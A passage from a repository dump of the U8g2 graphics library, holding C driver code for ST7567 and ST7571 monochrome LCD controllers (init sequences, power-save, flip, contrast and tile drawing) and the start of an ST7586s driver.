u8x8_st7567_hem6432_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=====================================================*/\n/*\n  https://github.com/olikraus/u8g2/issues/1088 \n  https://www.dx.com/p/opensmart-33v-26-inch-128x64-serial-spi-monochrome-lcd-breakout-board-module-with-backlight-for-arduino-nano-pro-mini-2710499.html\n*/\n\n\n\nstatic const u8x8_display_info_t u8x8_st7567_os12864_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_st7567_os12864_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/7 */\n  /* power on sequence from paxinstruments */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x026),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 50>>2),\t\t/* set contrast, contrast value*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* open-smart 12864 display */\nuint8_t u8x8_d_st7567_os12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_os12864_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_st7567_os12864_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=====================================================*/\n/*\n\n  https://github.com/olikraus/u8g2/discussions/1868\n  https://github.com/olikraus/u8g2/issues/1869\n  https://www.buydisplay.com/cog-serial-spi-132x32-graphic-lcd-display-no-backlight-st7567a\n\n  ERC13232\n\n  copied from U8G2_ST7567_PI_132X64\n\n*/\n\nstatic const u8x8_display_info_t u8x8_st7567_132x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 17,\t\t/* width of 17*8=136 pixel */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 132,\n  /* pixel_height = */ 32\n};\n\nstatic const uint8_t u8x8_d_st7567_erc13232_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/7 */\n  /* power on sequence from paxinstruments */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x026),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 0x027),\t\t/* set contrast, contrast value*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* ERC13232 */\nuint8_t u8x8_d_st7567_erc13232(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_132x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_erc13232_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7571.c",
    "content": "/*\n\n  u8x8_d_st7571.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2020, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  ST7571: 128x129 2-bit graylevel LCD\n  \n  https://github.com/olikraus/u8g2/issues/921\n  https://github.com/olikraus/u8g2/issues/1575          128x96\n\n*/\n\n\n#include \"u8x8.h\"\n\nstatic const uint8_t u8x8_d_st7571_128x128_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x071),\t\t                /* exit power save mode */\n  U8X8_C(0x0a8),\t\t                /* disable powersave mode */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7571_128x128_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */  \n  U8X8_C(0x0a9),\t\t                /* enter powersave mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7571_128x128_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7571_128x128_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\n/*===================================================*/\n\nstatic uint8_t u8x8_d_st7571_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint16_t x;\n  uint8_t c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7571_128x128_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int>>2);\t\t\t// 6 bit for the ST7571\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n\n\n      do\n      {\n        c = ((u8x8_tile_t *)arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n        /* SendData can not handle more than 255 bytes */\n\t/*\n        if ( c > 31 )\n        {\n          u8x8_cad_SendData(u8x8, 31*8, ptr); \n          ptr+=31*8;\n          c -= 31;\n        }\n\t*/\n        \n        u8x8_cad_SendData(u8x8, c*8, ptr); \t\n        arg_int--;\n      } while( arg_int > 0 );\n\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*===================================================*/\n\n\n/* QT-2832TSWUG02/ZJY-2832TSWZG02 */\n/* fixed the 0x40 and 0x48 commands, verified with FlipMode example: All ok */\nstatic const uint8_t u8x8_d_st7571_128x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  \n  U8X8_C(0xAE), \t\t\t\t// Display OFF\n  U8X8_C(0x38), \t\t\t\t// Mode Set  \n  U8X8_C(0xB8), \t\t\t\t// FR=1011 (85Hz), BE[1:0]=10, level 3 booster\n  \n  \n  U8X8_C(0xA0), \t\t\t\t// ADC select\n  U8X8_C(0xC8), \t\t\t\t// SHL select\n  U8X8_CA(0x44, 0x00), \t\t// COM0 register  \n  U8X8_CA(0x40, 0x0), \t\t// initial display line  (0x7f... strange but ok... maybe specific for the JLX128128)\n                                                        // 2 sep 2021: maybe this also wrong because the 0x44 command is overwritten later.\n                                                        // 4 Mar 2022: Changed to 0\n  \n  U8X8_C(0xAB), \t\t\t\t// OSC ON  \n  U8X8_C(0x25), \t\t\t\t// Voltage regulator\n  U8X8_CA(0x81, 0x33), \t\t// Volume\n  U8X8_C(0x54), \t\t\t\t// LCD Bias: 0x056=1/11 (1/11 according to JLX128128 datasheet), 0x054=1/9\n  U8X8_CA(0x48, 0x80), \t\t// Duty 1/128   // 2 Sep 2021: Should this be 00x48???  \n                                                        // 4 Mar 2022, cmd changed to 0x48, arg changed to 0x80\n  \n  U8X8_C(0x2C), \t\t\t\t// Power Control, VC: ON, VR: OFF, VF: OFF\n  U8X8_DLY(200),\n  U8X8_C(0x2E), \t\t\t\t// Power Control, VC: ON, VR: ON, VF: OFF\n  U8X8_DLY(200),\n  U8X8_C(0x2F), \t\t\t\t// Power Control, VC: ON, VR: ON, VF: ON\n  U8X8_DLY(10),\n\n  U8X8_C(0x7B), \t\t\t\t// command set 3\n  U8X8_C(0x11), \t\t\t\t// black white mode\n  U8X8_C(0x00), \t\t\t\t// exit command set 3\n\n\n  U8X8_C(0xA6), \t\t\t\t// Display Inverse OFF\n  U8X8_C(0xA4), \t\t\t\t// Disable Display All Pixel ON\n\n  //U8X8_C(0xAF), \t\t\t\t// Display on\n\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\n\n\nstatic const u8x8_display_info_t u8x8_st7571_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_st7571_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_st7571_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_init_seq); \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7571_128x128_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n\n/*===================================================*/\n/*\n  https://github.com/olikraus/u8g2/issues/1575\n  http://www.jlxlcd.cn/html/zh-detail-1211.html \n*/\nstatic const uint8_t u8x8_d_st7571_128x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  \n  U8X8_C(0xAE), \t\t\t\t// Display OFF\n  U8X8_C(0x38), \t\t\t\t// Mode Set  \n  //U8X8_C(0xB8), \t\t\t\t// FR=1011 (85Hz), BE[1:0]=10, level 3 booster\n  U8X8_C(0x94),                                 // 128x96: 75 Hz \n  \n  U8X8_C(0xA0), \t\t\t\t// ADC select\n  U8X8_C(0xC8), \t\t\t\t// SHL select\n  U8X8_CA(0x44, 0x20), \t\t// 128x96: COM0 register  \n  U8X8_CA(0x40, 0x00), \t\t// 128x96 datasheet\n  \n  U8X8_C(0xAB), \t\t\t\t// OSC ON  \n  U8X8_C(0x27), \t\t\t\t// 128x96: Voltage regulator\n  U8X8_CA(0x81, 0x28), \t\t// 128x96: Volume\n  U8X8_C(0x57), \t\t\t\t// 128x96: LCD Bias: 1/12 \n  U8X8_CA(0x48, 0x61), \t\t// 128x96: Duty 1/96\n  \n  U8X8_C(0x2C), \t\t\t\t// Power Control, VC: ON, VR: OFF, VF: OFF\n  U8X8_DLY(200),\n  U8X8_C(0x2E), \t\t\t\t// Power Control, VC: ON, VR: ON, VF: OFF\n  U8X8_DLY(200),\n  U8X8_C(0x2F), \t\t\t\t// Power Control, VC: ON, VR: ON, VF: ON\n  U8X8_DLY(10),\n\n  U8X8_C(0x7B), \t\t\t\t// command set 3\n  U8X8_C(0x11), \t\t\t\t// black white mode\n  U8X8_C(0x00), \t\t\t\t// exit command set 3\n\n\n  U8X8_C(0xA6), \t\t\t\t// Display Inverse OFF\n  U8X8_C(0xA4), \t\t\t\t// Disable Display All Pixel ON\n\n  //U8X8_C(0xAF), \t\t\t\t// Display on\n\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\n\n\nstatic const u8x8_display_info_t u8x8_st7571_128x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 96\n};\n\nuint8_t u8x8_d_st7571_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_st7571_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x96_init_seq); \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7571_128x96_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_erc240160.c",
    "content": "/*\n  u8x8_d_st7586s_erc240160.c\n\n  Display: 240x160 pixel\n  ST7586s: 384 x 160 x 2\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n  \n  Copyright (c) 2018, olikraus@gmail.com\n  \n  All rights reserved.\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n\nstatic const uint8_t u8x8_d_st7586s_sleep_on[] = {\n  U8X8_START_TRANSFER(),  /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x010), /* set power save mode */\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()                  /* end of sequence */\n};\n\nstatic const 